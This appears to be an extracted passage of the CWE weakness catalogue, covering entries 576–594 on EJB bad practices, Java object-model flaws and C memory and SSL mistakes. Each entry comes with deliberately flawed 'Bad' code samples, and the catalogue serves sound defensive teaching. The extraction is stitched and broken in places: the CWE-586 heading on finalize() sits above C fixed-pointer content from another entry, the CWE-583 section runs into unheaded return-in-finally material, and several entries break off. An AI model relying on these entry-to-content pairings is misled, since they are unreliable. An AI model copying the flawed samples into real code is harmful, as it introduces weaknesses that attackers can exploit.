The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not use the java.io package to attempt to access files and directories in the file system." The specification justifies this requirement in the following way: "The file system APIs are not well-suited for business components to access data. Business components should use a resource manager API, such as JDBC, to store data."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1536

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Do not use Java I/O when writing EJBs.

Demonstrative Examples

Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. In this example, the interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Java I/O API to retrieve the XML document from the local file system.

Example Language: Java *(Bad)*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
   private Document interestRateXMLDocument = null;
   private File interestRateFile = null;
   public InterestRateBean() {
      try {
         /* get XML document from the local filesystem */
         interestRateFile = new File(Constants.INTEREST_RATE_FILE);
         if (interestRateFile.exists())
         {
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder db = dbf.newDocumentBuilder();
            interestRateXMLDocument = db.parse(interestRateFile);
         }
      } catch (IOException ex) {...}
   }
   public BigDecimal getInterestRate(Integer points) {
      return getInterestRateFromXML(points);
   }
   /* member function to retrieve interest rate from XML document on the local file system */
   private BigDecimal getInterestRateFromXML(Integer points) {...}
}
```

This use of the Java I/O API within any kind of Enterprise JavaBean violates the EJB specification by using the java.io package for accessing files within the local filesystem.

An Enterprise JavaBean should use a resource manager API for storing and accessing data. In the following example, the private member function getInterestRateFromXMLParser uses an XML parser API to retrieve the interest rates.

Example Language: Java *(Good)*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
   public InterestRateBean() {
   }
   public BigDecimal getInterestRate(Integer points) {
      return getInterestRateFromXMLParser(points);
   }
   /* member function to retrieve interest rate from XML document using an XML parser API */
   private BigDecimal getInterestRateFromXMLParser(Integer points) {...}
}
```

Software Fault Patterns	SFP3		Use of an improper API

CWE-577: EJB Bad Practices: Use of Sockets

Weakness ID : 577
Structure : Simple
Abstraction : Variant

Description

The product violates the Enterprise JavaBeans (EJB) specification by using sockets.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not attempt to listen on a socket, accept connections on a socket, or use a socket for multicast." The specification justifies this requirement in the following way: "The EJB architecture allows an enterprise bean instance to be a network socket client, but it does not allow it to be a network server. Allowing the instance to become a network server would conflict with the basic function of the enterprise bean-- to serve the EJB clients."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1309

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Do not use Sockets when writing EJBs.

Demonstrative Examples

Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves stock symbols and stock values. The Enterprise JavaBean creates a socket and listens for and accepts connections from clients on the socket.

Example Language: Java *(Bad)*

```
@Stateless
public class StockSymbolBean implements StockSymbolRemote {
   ServerSocket serverSocket = null;
```

```
   Socket clientSocket = null;
   public StockSymbolBean() {
      try {
         serverSocket = new ServerSocket(Constants.SOCKET_PORT);
      } catch (IOException ex) {...}
      try {
         clientSocket = serverSocket.accept();
      } catch (IOException e) {...}
   }
   public String getStockSymbol(String name) {...}
   public BigDecimal getStockValue(String symbol) {...}
   private void processClientInputFromSocket() {...}
}
```

And the following Java example is similar to the previous example but demonstrates the use of multicast socket connections within an Enterprise JavaBean.

Example Language: Java *(Bad)*

```
@Stateless
public class StockSymbolBean extends Thread implements StockSymbolRemote {
   ServerSocket serverSocket = null;
   Socket clientSocket = null;
   boolean listening = false;
   public StockSymbolBean() {
      try {
         serverSocket = new ServerSocket(Constants.SOCKET_PORT);
      } catch (IOException ex) {...}
      listening = true;
      while(listening) {
         start();
      }
   }
   public String getStockSymbol(String name) {...}
   public BigDecimal getStockValue(String symbol) {...}
   public void run() {
      try {
         clientSocket = serverSocket.accept();
      } catch (IOException e) {...}
      ...
   }
}
```

The previous two examples within any type of Enterprise JavaBean violate the EJB specification by attempting to listen on a socket, accepting connections on a socket, or using a socket for multicast.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page

Software Fault Patterns	SFP3		Use of an improper API

CWE-578: EJB Bad Practices: Use of Class Loader

Weakness ID : 578

Structure : Simple
Abstraction : Variant

Description

The product violates the Enterprise JavaBeans (EJB) specification by using the class loader.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "The enterprise bean must not attempt to create a class loader; obtain the current class loader; set the context class loader; set security manager; create a new security manager; stop the JVM; or change the input, output, and error streams." The specification justifies this requirement in the following way: "These functions are reserved for the EJB container. Allowing the enterprise bean to use these functions could compromise security and decrease the container's ability to properly manage the runtime environment."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1309

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Other	Execute Unauthorized Code or Commands Varies by Context	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Do not use the Class Loader when writing EJBs.

Demonstrative Examples

Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. The interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Class Loader for the EJB class to obtain the XML document from the local file system as an input stream.

Example Language: Java *(Bad)*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
   private Document interestRateXMLDocument = null;
   public InterestRateBean() {
      try {
         // get XML document from the local filesystem as an input stream
```

```
        // using the ClassLoader for this class
        ClassLoader loader = this.getClass().getClassLoader();
        InputStream in = loader.getResourceAsStream(Constants.INTEREST_RATE_FILE);
  DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = dbf.newDocumentBuilder();
    interestRateXMLDocument = db.parse(interestRateFile);
  } catch (IOException ex) {...}
}
  public BigDecimal getInterestRate(Integer points) {
    return getInterestRateFromXML(points);
  }
  /* member function to retrieve interest rate from XML document on the local file system */
  private BigDecimal getInterestRateFromXML(Integer points) {...}
}
```

This use of the Java Class Loader class within any kind of Enterprise JavaBean violates the restriction of the EJB specification against obtaining the current class loader as this could compromise the security of the application using the EJB.

Example 2:

An EJB is also restricted from creating a custom class loader and creating a class and instance of a class from the class loader, as shown in the following example.

Example Language: Java *(Bad)*

```
@Stateless
public class LoaderSessionBean implements LoaderSessionRemote {
  public LoaderSessionBean() {
    try {
      ClassLoader loader = new CustomClassLoader();
      Class c = loader.loadClass("someClass");
      Object obj = c.newInstance();
      /* perform some task that uses the new class instance member variables or functions */
      ...
    } catch (Exception ex) {...}
  }
  public class CustomClassLoader extends ClassLoader {
  }
}
```

CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session

Weakness ID : 579
Structure : Simple
Abstraction : Variant

Description

The product stores a non-serializable object as an HttpSession attribute, which can hurt reliability.

Extended Description

A J2EE application can make use of multiple JVMs in order to improve application reliability and performance. In order to make the multiple JVMs appear as a single application to the end user, the J2EE container can replicate an HttpSession object across multiple JVMs so that if one JVM becomes unavailable another can step in and take its place without disrupting the flow of the application. This is only possible if all session data is serializable, allowing the session to be duplicated between the JVMs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	2469

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

In order for session replication to work, the values the product stores as attributes in the session must implement the Serializable interface.

Demonstrative Examples

Example 1:

The following class adds itself to the session, but because it is not serializable, the session can no longer be replicated.

Example Language: Java *(Bad)*

```
public class DataGlob {
  String globName;
```

```
    String globValue;
    public void addToSession(HttpSession session) {
      session.setAttribute("glob", this);
    }
}
```

MemberOf Relationships

CWE-580: clone() Method Without super.clone()

Weakness ID : 580
Structure : Simple
Abstraction : Variant

Description

The product contains a clone() method that does not call super.clone() to obtain the new object.

Extended Description

All implementations of clone() should obtain the new object by calling super.clone(). If a class does not follow this convention, a subclass's clone() method will return an object of the wrong type.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Call super.clone() within your clone() method, when obtaining a new object.

Phase: Implementation

In some cases, you can eliminate the clone method altogether and use copy constructors.

Demonstrative Examples

Example 1:

The following two classes demonstrate a bug introduced by not calling super.clone(). Because of the way Kibitzer implements clone(), FancyKibitzer's clone method will return an object of type Kibitzer instead of FancyKibitzer.

Example Language: Java *(Bad)*

```
public class Kibitzer {
   public Object clone() throws CloneNotSupportedException {
      Object returnMe = new Kibitzer();
      ...
   }
}
public class FancyKibitzer extends Kibitzer{
   public Object clone() throws CloneNotSupportedException {
      Object returnMe = super.clone();
      ...
   }
}
```

CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined

Weakness ID : 581
Structure : Simple
Abstraction : Variant

Description

The product does not maintain equal hashcodes for equal objects.

Extended Description

Java objects are expected to obey a number of invariants related to equality. One of these invariants is that equal objects must have equal hashcodes. In other words, if a.equals(b) == true then a.hashCode() == b.hashCode().

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-582: Array Declared Public, Final, and Static

Weakness ID : 582
Structure : Simple
Abstraction : Variant

Description

The product declares an array public, final, and static, which is not sufficient to prevent the array's contents from being modified.

Extended Description

Because arrays are mutable objects, the final constraint requires that the array object itself be assigned only once, but makes no guarantees about the values of the array elements. Since the array is public, a malicious program can change the values stored in the array. As such, in most cases an array declared public, final and static is a bug.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	668	Exposure of Resource to Wrong Sphere	1481

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Background Details

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other,

potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your product is running.

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

Potential Mitigations

Phase: Implementation

In most situations the array should be made private.

Demonstrative Examples

Example 1:

The following Java Applet code mistakenly declares an array public, final and static.

Example Language: Java *(Bad)*

```
public final class urlTool extends Applet {
  public final static URL[] urls;
  ...
}
```

MemberOf Relationships

CWE-583: finalize() Method Declared Public

Weakness ID : 583
Structure : Simple
Abstraction : Variant

Description

The product violates secure coding principles for mobile code by declaring a finalize() method public.

Extended Description

A product should never call finalize explicitly, except to call super.finalize() inside an implementation of finalize(). In mobile code situations, the otherwise error prone practice of manual

garbage collection can become a security threat if an attacker can maliciously invoke a finalize() method because it is declared with public access.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Alter Execution Logic	
Integrity	Execute Unauthorized Code or Commands	
Availability	Modify Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

If you are using finalize() as it was designed, there is no reason to declare finalize() with anything other than protected access.

Demonstrative Examples

Example 1:

The following Java Applet code mistakenly declares a public finalize() method.

Example Language: Java *(Bad)*

```
public final class urlTool extends Applet {
  public void finalize() {
    ...
  }
  ...
}
```

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from

multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your product is running.

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Do not use a return statement inside the finally block. The finally block should have "cleanup" code.

Demonstrative Examples

Example 1:

In the following code excerpt, the IllegalArgumentException will never be delivered to the caller. The finally block will cause the exception to be discarded.

Example Language: Java *(Bad)*

```
try {
  ...
  throw IllegalArgumentException();
}
finally {
  return r;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-585: Empty Synchronized Block

Weakness ID : 585

Structure : Simple
Abstraction : Variant

Description

The product contains an empty synchronized block.

Extended Description

An empty synchronized block does not actually accomplish any synchronization and may indicate a troubled section of code. An empty synchronized block can occur because code no longer needed within the synchronized block is commented out without removing the synchronized block.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1071	Empty Code Block	1925

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other *An empty synchronized block will wait until nobody else is using the synchronizer being specified. While this may be part of the desired behavior, because you haven't protected the subsequent code by placing it inside the synchronized block, nothing is stopping somebody else from modifying whatever it was you were waiting for while you run the subsequent code.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

When you come across an empty synchronized statement, or a synchronized statement in which the code has been commented out, try to determine what the original intentions were and whether or not the synchronized block is still necessary.

Demonstrative Examples

Example 1:

The following code attempts to synchronize on an object, but does not execute anything in the synchronized block. This does not actually accomplish anything and may be a sign that a programmer is wrestling with synchronization but has not yet achieved the result they intend.

Example Language: Java *(Bad)*

```
synchronized(this) { }
```

Instead, in a correct usage, the synchronized statement should contain procedures that access or modify data that is exposed to multiple threads. For example, consider a scenario in which several threads are accessing student records at the same time. The method which sets the student ID to a new value will need to make sure that nobody else is accessing this data at the same time and will require synchronization.

Example Language: Java *(Good)*

```
public void setID(int ID){
   synchronized(this){
      this.ID = ID;
   }
}
```

CWE-586: Explicit Call to Finalize()

Weakness ID : 586
Structure : Simple
Abstraction : Base

Description

The product makes an explicit call to the finalize() method from outside the finalizer.

Extended Description

While the Java Language Specification allows an object's finalize() method to be called from outside the finalizer, doing so is usually a bad idea. For example, calling finalize() explicitly means that finalize() will be called more than once: the first time will be the explicit call and the last time will be the call that is made after the object is garbage collected.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Language : Assembly *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *If one executes code at a known location, an attacker might be able to inject code there beforehand.*	
Availability	DoS: Crash, Exit, or Restart Reduce Maintainability Reduce Reliability *If the code is ported to another platform or environment, the pointer is likely to be invalid and cause a crash.*	
Confidentiality Integrity	Read Memory Modify Memory *The data at a known pointer location can be easily read or influenced by an attacker.*	

Potential Mitigations

Phase: Implementation

Never set a pointer to a fixed address.

Demonstrative Examples

Example 1:

This code assumes a particular function will always be found at a particular address. It assigns a pointer to that address and calls the function.

Example Language: C *(Bad)*

```
int (*pt2Function) (float, char, char)=0x08040000;
int result2 = (*pt2Function) (12, 'a', 'b');
// Here we can inject code to execute.
```

The same function may not always be found at the same memory address. This could lead to a crash, or an attacker may alter the memory at the expected address, leading to arbitrary code execution.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-588: Attempt to Access Child of a Non-structure Pointer

Weakness ID : 588
Structure : Simple
Abstraction : Variant

Description

Casting a non-structure type to a structure type and accessing a field can lead to memory access errors or data corruption.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1594
ChildOf	C	704	Incorrect Type Conversion or Cast	1550

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory *Adjacent variables in memory may be corrupted by assignments performed on fields after the cast.*	
Availability	DoS: Crash, Exit, or Restart *Execution may end due to a memory access error.*	

Potential Mitigations

Phase: Requirements

The choice could be made to use a language that is not susceptible to these issues.

Phase: Implementation

Review of type casting operations can identify locations where incompatible types are cast.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(Bad)*

```
struct foo
{
   int i;
}
...
int main(int argc, char **argv)
{
   *foo = (struct foo *)main;
   foo->i = 2;
   return foo->i;
}
```

Observed Examples

CWE-589: Call to Non-ubiquitous API

Weakness ID : 589
Structure : Simple
Abstraction : Variant

Description

The product uses an API function that does not exist on all versions of the target platform. This could cause portability problems or inconsistencies that allow denial of service or other consequences.

Extended Description

Some functions that offer security features supported by the OS are not available on all versions of the OS in common use. Likewise, functions are often deprecated or made obsolete for security reasons and should not be used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code)

without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Always test your code on any platform on which it is targeted to run on.

Phase: Testing

Test your code on the newest and oldest platform on which it is targeted to run on.

Phase: Testing

Develop a system to test for API functions that are not portable.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
96	Block Access to Libraries

CWE-590: Free of Memory not on the Heap

Weakness ID : 590
Structure : Simple
Abstraction : Variant

Description

The product calls free() on a pointer to memory that was not allocated using associated heap allocation functions such as malloc(), calloc(), or realloc().

Extended Description

When free() is called on an invalid pointer, the program's memory management data structures may become corrupted. This corruption can cause the program to crash or, in some circumstances, an attacker may be able to cause free() to operate on controllable memory locations to modify critical program variables or execute code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	762	Mismatched Memory Management Routines	1608
CanPrecede	B	123	Write-what-where Condition	329

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Modify Memory *There is the potential for arbitrary code execution with privileges of the vulnerable program via a "write, what where" primitive. If pointers to memory which hold user information are freed, a malicious user will be able to write 4 bytes anywhere in memory.*	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Only free pointers that you have called malloc on previously. This is the recommended solution. Keep track of which pointers point at the beginning of valid chunks and free them only once.

Phase: Implementation

Before freeing a pointer, the programmer should make sure that the pointer was previously allocated on the heap and that the memory belongs to the programmer. Freeing an unallocated pointer will cause undefined behavior in the program.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Demonstrative Examples

Example 1:

In this example, an array of record_t structs, bar, is allocated automatically on the stack as a local variable and the programmer attempts to call free() on the array. The consequences will vary based on the implementation of free(), but it will not succeed in deallocating the memory.

Example Language: C *(Bad)*

```
void foo(){
  record_t bar[MAX_SIZE];
  /* do something interesting with bar */
  ...
  free(bar);
}
```

This example shows the array allocated globally, as part of the data segment of memory and the programmer attempts to call free() on the array.

Example Language: C *(Bad)*

```
record_t bar[MAX_SIZE]; //Global var
void foo(){
  /* do something interesting with bar */
  ...
  free(bar);
}
```

Instead, if the programmer wanted to dynamically manage the memory, malloc() or calloc() should have been used.

Example Language: C *(Good)*

```
void foo(){
  record_t *bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));
  /* do something interesting with bar */
  ...
  free(bar);
}
```

Additionally, global variables could be passed to free() when they are pointers to dynamically allocated memory.

Example Language: C *(Good)*

```
record_t *bar; //Global var
void foo(){
   bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));
   /* do something interesting with bar */
   ...
   free(bar);
}
```

CWE-591: Sensitive Data Storage in Improperly Locked Memory

Weakness ID : 591
Structure : Simple
Abstraction : Variant

Description

The product stores sensitive data in memory that is not locked, or that has been incorrectly locked, which might cause the memory to be written to swap files on disk by the virtual memory manager. This can make the data more accessible to external actors.

Extended Description

On Windows systems the VirtualLock function can lock a page of memory to ensure that it will remain present in memory and not be swapped to disk. However, on older versions of Windows, such as 95, 98, or Me, the VirtualLock() function is only a stub and provides no protection. On POSIX systems the mlock() call ensures that a page will stay resident in memory but does not guarantee that the page will not appear in the swap. Therefore, it is unsuitable for use as a protection mechanism for sensitive data. Some platforms, in particular Linux, do make the guarantee that the page will not be swapped, but this is non-standard and is not portable. Calls to mlock() also require supervisor privilege. Return values for both of these calls must be checked to ensure that the lock operation was actually successful.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page

CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created

Weakness ID : 593
Structure : Simple
Abstraction : Variant

Description

The product modifies the SSL context after connection creation has begun.

Extended Description

If the program modifies the SSL_CTX object after creating SSL objects from it, there is the possibility that older SSL objects created from the original context could all be affected by that change.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ChildOf	C	666	Operation on Resource in Wrong Phase of Lifetime	1474

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	2461

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *No authentication takes place in this process, bypassing an assumed protection of encryption.*	
Confidentiality	Read Application Data *The encrypted communication between a user and a trusted host may be subject to a sniffing attack.*	

Potential Mitigations

Phase: Architecture and Design

Use a language or a library that provides a cryptography framework at a higher level of abstraction.

Phase: Implementation

Most SSL_CTX functions have SSL counterparts that act on SSL-type objects.

Phase: Implementation

Applications should set up an SSL_CTX completely, before creating SSL objects from it.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(Bad)*

```
#define CERT "secret.pem"
#define CERT2 "secret2.pem"
int main(){
   SSL_CTX *ctx;
   SSL *ssl;
   init_OpenSSL();
   seed_prng();
   ctx = SSL_CTX_new(SSLv23_method());
   if (SSL_CTX_use_certificate_chain_file(ctx, CERT) != 1)
      int_error("Error loading certificate from file");
   if (SSL_CTX_use_PrivateKey_file(ctx, CERT, SSL_FILETYPE_PEM) != 1)
      int_error("Error loading private key from file");
   if (!(ssl = SSL_new(ctx)))
      int_error("Error creating an SSL context");
   if ( SSL_CTX_set_default_passwd_cb(ctx, "new default password" != 1))
      int_error("Doing something which is dangerous to do anyways");
   if (!(ssl2 = SSL_new(ctx)))
      int_error("Error creating an SSL context");
}
```

CWE-594: J2EE Framework: Saving Unserializable Objects to Disk

Weakness ID : 594
Structure : Simple
Abstraction : Variant

Description

